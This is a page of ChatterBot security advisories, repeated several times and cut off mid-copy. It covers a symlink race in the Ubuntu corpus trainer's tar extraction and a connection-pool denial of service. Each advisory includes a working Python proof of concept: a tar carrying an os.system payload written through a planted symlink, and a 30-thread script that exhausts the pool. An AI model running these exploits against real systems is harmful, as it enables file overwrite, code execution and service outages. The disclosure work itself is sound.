ChatterBot

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
        tf.addfile(info2, io.BytesIO(rce))
    if not os.path.exists(data_path):
        os.makedirs(data_path)
    def is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])
        return prefix == abs_directory

    with tarfile.open(str(tar_path), "r:gz") as tar:
        for member in tar.getmembers():
            member_path = os.path.join(str(data_path), member.name)
            if not is_within_directory(str(data_path), member_path):
                raise Exception("Attempted Path Traversal in Tar File")
        tar.extractall(str(data_path))

    print(f"[3] extractall(data_path) — data_path is symlink, writes to target")

    # Verify
    files = list(ATTACKER_TARGET.iterdir())
    if files:
        print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
        for f in sorted(files):
            print(f"    {f.name}: {f.read_text().strip()[:60]}")
    else:
        print("[-] Failed")
        shutil.rmtree(str(test_base), ignore_errors=True)
        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
        sys.exit(1)

    shutil.rmtree(str(test_base), ignore_errors=True)
    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)
    sys.exit(0)


if __name__ == "__main__":
    print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}")
    print(f"Attacker target: {ATTACKER_TARGET}")
    print()
    main()

PoC output

Suggested Fix

Refuse symlinks on the output directory before extraction:

def extract(self, file_path: str):
    if os.path.islink(self.data_path):
        raise self.TrainerInitializationException(
            f'Refusing to extract to symlink: {self.data_path}')
    if not os.path.exists(self.data_path):
        os.makedirs(self.data_path)
    ...

Summary

ChatterBot versions up to 1.2.10 are vulnerable to a denial-of-service condition caused by improper database session and connection pool management. Concurrent invocations of the get_response() method can exhaust the underlying SQLAlchemy connection pool, resulting in persistent service unavailability and requiring a manual restart to recover.

Details

ChatterBot relies on SQLAlchemy for database access and uses a connection pool with default limits. The get_response() method does not enforce concurrency limits, rate limiting, or explicit session lifecycle controls.

When multiple threads concurrently invoke get_response(), database connections are rapidly consumed and not released in a timely manner. This leads to exhaustion of the SQLAlchemy QueuePool, causing subsequent requests to block and eventually fail with a TimeoutError.

This issue can be triggered without authentication in deployments where ChatterBot is exposed as a chatbot service, making it exploitable by remote attackers to cause denial of service.

PoC Video: https://github.com/user-attachments/assets/4ee845c4-b847-4854-84ec-4b2fb2f7090f

PoC

1. Install ChatterBot version 1.2.10.
2. Use the default database configuration (SQLite / SQLAlchemy).
3. Run the following Python script to invoke concurrent requests:

from chatterbot import ChatBot import threading

bot = ChatBot("dos-test")

def attack(): bot.get_response("hello")

threads = [] for _ in range(30): t = threading.Thread(target=attack) t.start() threads.append(t)

for t in threads: t.join()

4. Observe that the application becomes unresponsive and raises SQLAlchemy TimeoutError exceptions indicating exhaustion of the connection pool.

Impact

This vulnerability allows an attacker to trigger a denial-of-service condition by exhausting the database connection pool. Once triggered, the chatbot becomes unresponsive to legitimate users and requires a manual restart to restore functionality.

All deployments of ChatterBot version 1.2.10 or earlier that allow concurrent access to the get_response() method are impacted.

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data_path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.

The existing safe_extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data_path is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

home_directory = os.path.expanduser('~')
self.data_directory = kwargs.get(
    'ubuntu_corpus_data_directory',
    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable
)
self.data_path = os.path.join(
    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs
)

Check-then-create (line 621-622)

def extract(self, file_path: str):
    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs
        os.makedirs(self.data_path)          # ← never reached if symlink exists

Extraction through symlink (line 633-644)

def safe_extract(tar, path='.', members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):    # ← validates MEMBER names only
            raise Exception('Attempted Path Traversal in Tar File')
    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target

safe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir

safe_extract calls os.path.abspath(directory) on self.data_path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is_within_directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

| Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 |

Exploit

import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_"))


def main():
    test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_"))
    data_dir = test_base / "ubuntu_data"
    data_path = data_dir / "ubuntu_dialogs"
    data_dir.mkdir(parents=True, exist_ok=True)
    os.symlink(str(ATTACKER_TARGET), str(data_path))
    print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}")
    exists_check = os.path.exists(data_path)
    print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)")
    import tarfile
    import io
    tar_path = test_base / "corpus.tar.gz"
    with tarfile.open(str(tar_path), "w:gz") as tf:
        info = tarfile.TarInfo(name="dialog_001.tsv")
        payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n"
        info.size = len(payload)
        tf.addfile(info, io.BytesIO(payload))

        info2 = tarfile.TarInfo(name="config.py")
        rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n"
        info2.size = len(rce)
